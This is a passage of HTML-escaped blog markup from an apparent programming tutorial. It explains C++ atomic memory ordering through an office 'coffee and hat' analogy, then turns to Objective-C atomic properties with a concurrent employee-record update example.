        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry denied"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry granted with hip level: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here the all the tasks are still &lt;em&gt;relaxed&lt;/em&gt;, except for the check on
coffee. The test on coffee is set as the synchronization point. Here
&lt;code class="language-plaintext highlighter-rouge"&gt;hasCoffee&lt;/code&gt; serves as a token that both the employee and the security
agrees on. The employee is free to do whatever it wishes to do in
whatever order if they agree to perform the store on &lt;code class="language-plaintext highlighter-rouge"&gt;hasCoffee&lt;/code&gt; at the
exact point as they’re expected to. It serves as a kind of checkpoint.
Whenever an employee gets a coffee, it means that they have done all the
prior tasks in whatever order that seems fit, nobody cares. So whenever
the security system sees an employee has a coffee in their hands, it is
guaranteed that all the tasks before it have been completed. So, now the
check for the hat can be successfully executed.&lt;/p&gt;

&lt;p&gt;Company D took a slightly different approach than company C.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;lock2&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;atomic&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;GetThings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_release&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;naps_taken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;hasCoffee&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_consume&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="cm"&gt;/* nap for a while */&lt;/span&gt;
            &lt;span class="n"&gt;naps_taken&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Naps: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;naps_taken&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hasHat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;memory_order_relaxed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hipLevel&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;EmployeeEnter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;hasHat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hasCoffee&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GetThings&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CheckCoffeeAndHat&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry denied"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Entry granted with hip level: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;hipLevel&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It still uses lock based memory model, but instead of asking the
security system to use acquire based loop they use consume based loop. What
this means is that instead of constantly monitoring employees, the
security system can take a nap once in a while and whenever they wake up they
just assume that the employee has a coffee in their hands, if not it
can go back to sleep. This approach works good when you have a somewhat
predictable data on how long does an average employee takes to
&lt;code class="language-plaintext highlighter-rouge"&gt;GetThings()&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id="atomics-and-objecitve-c"&gt;Atomics and Objecitve-C&lt;/h3&gt;

&lt;p&gt;Coming over to Objective-C, atomicity is simplified. All the properties
are by default atomic. This is good news because if you’re using
multiple threads to update the same property, you will always have a
valid value for that property. But this doesn’t means that the entire
object will be valid.&lt;/p&gt;

&lt;p&gt;Let’s consider a employee record example:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;Employee&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;NSString&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;NSString&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;coffeeConsumed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// in litres&lt;/span&gt;

&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSString&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@end&lt;/span&gt;



&lt;span class="k"&gt;@implementation&lt;/span&gt; &lt;span class="nc"&gt;Employee&lt;/span&gt;
&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;_firstName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;@"Monty"&lt;/span&gt; &lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;_lastName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;@"Burns"&lt;/span&gt; &lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;_coffeeConsumed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;9235&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;



&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;dealloc&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;super&lt;/span&gt; &lt;span class="nf"&gt;dealloc&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;



&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSString&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSString&lt;/span&gt; &lt;span class="nf"&gt;stringWithFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;@"%@ %@: %@ L"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

            &lt;span class="n"&gt;_firstName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

            &lt;span class="n"&gt;_lastName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

            &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_coffeeConsumed&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We simply create a employee with some default values. Now suppose we try
to update a single record concurrently&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;updateRecord&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_group_t&lt;/span&gt; &lt;span class="n"&gt;wait&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_group_create&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_queue_t&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dispatch_get_global_queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DISPATCH_QUEUE_PRIORITY_DEFAULT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;Employee&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;emp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;Employee&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="n"&gt;dispatch_group_enter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;@"Homer"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;@"Simpson"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;coffeeConsumed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2045&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;dispatch_group_leave&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="n"&gt;dispatch_group_enter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;dispatch_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;@"Lenny"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;emp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;@"Leonard"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NSThread&lt;/span&gt; &lt;span class="nf"&gt;sleepForTimeInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NSTimeInterval&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;RAND_MAX&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
